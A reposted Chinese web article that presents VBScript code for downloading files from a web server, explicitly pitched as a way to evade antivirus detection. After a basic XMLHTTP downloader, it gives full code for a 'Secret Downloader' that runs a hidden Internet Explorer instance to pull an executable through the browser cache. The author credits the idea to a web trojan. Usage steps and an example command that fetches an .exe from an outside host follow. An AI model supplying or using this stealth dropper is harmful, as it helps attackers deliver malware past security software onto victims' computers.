首页 > 编程 > VBScript > 正文

使用vbs下载文件的代码加强版

2020-06-26 18:11:57
字体:
来源:转载
供稿:网友
可以躲过杀毒软件的vbs下载网络文件并保存为本地的加强版代码
 
说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码: 
iLocal=LCase(Wscript.Arguments(1)) 
iRemote=LCase(Wscript.Arguments(0)) 
Set xPost=createObject("Microsoft.XMLHTTP") 
xPost.Open "GET",iRemote,0 
xPost.Send() 
set sGet=createObject("ADODB.Stream") 
sGet.Mode=3 
sGet.Type=1 
sGet.Open() 
sGet.Write xPost.ResponseBody 
sGet.SaveToFile iLocal,2 

    当你把这段代码保存为vbs的时候,杀毒软件可能就开始报警了;而且使用中cscript.exe会访问网络,不太隐蔽。 
    那么,有没有更好的方法呢?答案很明显:-) 
    我们可以利用一个叫InternetExplorer.Application的对象(其实就是个IE啦)下载文件。但是貌似这个组件不能直接下载保存文件,只好曲线救国了。因为IE是把文件下载到本地缓存的,我们可以让IE组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的:) 
    为了让IE把我们的exe文件下载到本地缓存,我们需要有一个网页把exe文件包含进去。比如:<script src="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe,IE临时文件的位置可以从注册表键值 HKLM/Software/Microsoft/Windows/CurrentVersion/Internet Settings/Cache/paths/Directory 中读取。 
    好了,不废话,看代码: 

'============================= 
'  get.vbs  
'   by lake2 
'============================= 

If WScript.Arguments.Count <> 3 Then 
 WScript.Echo "" 
 WScript.Echo "======= The Secret Downloader 0.1 ================" 
 WScript.Echo "  by lake2 " 
 WScript.Echo "Usage:   CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]" 
 WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " http://www.0x54.org/lake.htm 520.exe c:/520.exe" 
 WScript.Echo "==================================================" 
 WScript.Quit 
End If 

URL = WScript.Arguments(0) 
exeName = WScript.Arguments(1) 
If InStr(exeName, ".") > 0 Then 
 tmp = Left(exeName,InStrRev(exeName, ".")-1) 
 tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1) 
 FindFileName = tmp & "[1]" & tmp2 
End If 
LocalName = WScript.Arguments(2) 

set ie=wscript.createobject("internetexplorer.application") 
ie.visible = 0 
ie.navigate URL 

WScript.Echo "[+]Create and Exec IE to your HTTP Server ..." 
WScript.Sleep(5000) 
ie.quit 
WScript.Echo "[+]Get the file ..." 
set objshell= WScript.Createobject("WScript.Shell") 
strValue = objshell.RegRead("HKLM/Software/Microsoft/Windows/CurrentVersion/Internet Settings/Cache/paths/Directory") 
ShowAllFile(strValue) 
WScript.Echo "[-]download Fail :(" 

Sub ShowAllFile(Path) 
 Set FSO = CreateObject("Scripting.FileSystemObject") 
 Set f = FSO.GetFolder(Path) 
 Set fc = f.SubFolders 
 For Each f1 in fc 
  If FSO.FileExists(path&"/"&f1.name&"/"&FindFileName) Then 
   FSO.CopyFile path&"/"&f1.name&"/"&FindFileName, LocalName 
   WScript.Echo "[+]Download Success !" 
   WScript.Quit 
  End If 
  ShowAllFile path&"/"&f1.name 
     Next 
 Set FSO = Nothing 
End Sub 

    使用方法: 
    1、在你的web目录放上一个htm文件,内容包含要下载的文件。如:<script src=520.exe></script> 
    2、CScript get.vbs 第一步的网页URL 网页包含的文件名 本地保存路径 

    例子:CScript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:/who.exe 

    PS:脚本使用了5秒钟作为下载文件的时间,可以改成等待下载完毕再继续的,不过基本上够用,懒得改了-_- 
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表